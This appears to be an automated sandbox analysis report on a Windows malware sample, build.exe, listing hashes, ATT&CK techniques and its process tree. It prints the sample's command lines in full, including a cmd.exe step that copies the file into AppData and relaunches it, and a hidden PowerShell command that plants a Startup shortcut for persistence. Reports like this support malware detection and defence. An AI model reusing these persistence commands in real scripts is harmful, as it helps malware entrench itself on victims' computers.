17f775a0bc221a7d2bfed1d11a69dabfc2bcc8bda2407b161526b1b19eb041c5

Analysis

max time kernel
150s
max time network
150s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20250619-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250619-enlocale:en-usos:windows10-ltsc_2021-x64system
submitted
22/07/2025, 12:23

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General

Target
build.exe
Size 72.4MB
Sample250722-pkwctsbp71
SHA256 17f775a0bc221a7d2bfed1d11a69dabfc2bcc8bda2407b161526b1b19eb041c5
MD5 890bef867d289a15e19928d145107e99
SHA1 941a3055b5af8ac5d71d62020c1cfd1c5d906fad
SHA512 e2b37a59386a788fa690c0d204f74951e35ff9d285770a6252ab7b760e93dc3631ca999eebbcda999477548967f284791aa1b27f50aa6b8b07ad1dee2859dacc
SSDEEP 393216:vlJdnEDTgCUEUCTBO+UxUwpB8ygyQGC1ZdkVvnZhP5frQ4ObmNFaCrt5VUQIVQTb:3dE3QNxxO51hDIj3DUpgPVlcmpbkEvPt
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4908	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3757.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3608	5006.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	build.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5006.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4972	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4908	powershell.exe
4908	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4908	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 6056 wrote to memory of 4884	6056	build.exe	90
PID 6056 wrote to memory of 4884	6056	build.exe	90
PID 6056 wrote to memory of 4884	6056	build.exe	90
PID 6056 wrote to memory of 4908	6056	build.exe	91
PID 6056 wrote to memory of 4908	6056	build.exe	91
PID 6056 wrote to memory of 4908	6056	build.exe	91
PID 4884 wrote to memory of 4972	4884	cmd.exe	94
PID 4884 wrote to memory of 4972	4884	cmd.exe	94
PID 4884 wrote to memory of 4972	4884	cmd.exe	94
PID 4884 wrote to memory of 3608	4884	cmd.exe	95
PID 4884 wrote to memory of 3608	4884	cmd.exe	95
PID 4884 wrote to memory of 3608	4884	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\build.exe
"C:\Users\Admin\AppData\Local\Temp\build.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:6056
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C "timeout /T 5 >nul && copy /Y "C:\Users\Admin\AppData\Local\Temp\build.exe" "C:\Users\Admin\AppData\Roaming\5006.exe" && start "" "C:\Users\Admin\AppData\Roaming\5006.exe""
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 5
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:4972
- - C:\Users\Admin\AppData\Roaming\5006.exe
    "C:\Users\Admin\AppData\Roaming\5006.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3608
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -command "$app3650 = [Environment]::GetFolderPath([Environment+SpecialFolder]::ApplicationData);Start-Sleep -Seconds 60;$ws = New-Object -ComObject WScript.Shell;$lnk = $ws.CreateShortcut($app3650 + '\Microsoft\Windows\Start Menu\Programs\Startup\3757.lnk');$lnk.TargetPath = '"C:\Users\Admin\AppData\Roaming\5006.exe"';$lnk.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_hcjnkyeg.10o.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hcjnkyeg.10o.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4908-6-0x00000000058E0000-0x0000000005946000-memory.dmp

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memory/4908-2-0x0000000002970000-0x00000000029A6000-memory.dmp

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memory/4908-4-0x0000000005110000-0x00000000057DA000-memory.dmp

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memory/4908-5-0x0000000005060000-0x0000000005082000-memory.dmp

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memory/4908-7-0x00000000059C0000-0x0000000005A26000-memory.dmp

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memory/4908-8-0x0000000005A30000-0x0000000005D87000-memory.dmp

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memory/4908-19-0x0000000005FF0000-0x000000000603C000-memory.dmp

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memory/4908-18-0x0000000005FD0000-0x0000000005FEE000-memory.dmp

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memory/4908-21-0x00000000075E0000-0x0000000007C5A000-memory.dmp

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memory/4908-22-0x0000000006500000-0x000000000651A000-memory.dmp

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memory/6056-3-0x00000000009F0000-0x000000000550D000-memory.dmp

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memory/6056-0-0x00000000009F0000-0x000000000550D000-memory.dmp

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memory/6056-1-0x00000000009F0000-0x000000000550D000-memory.dmp

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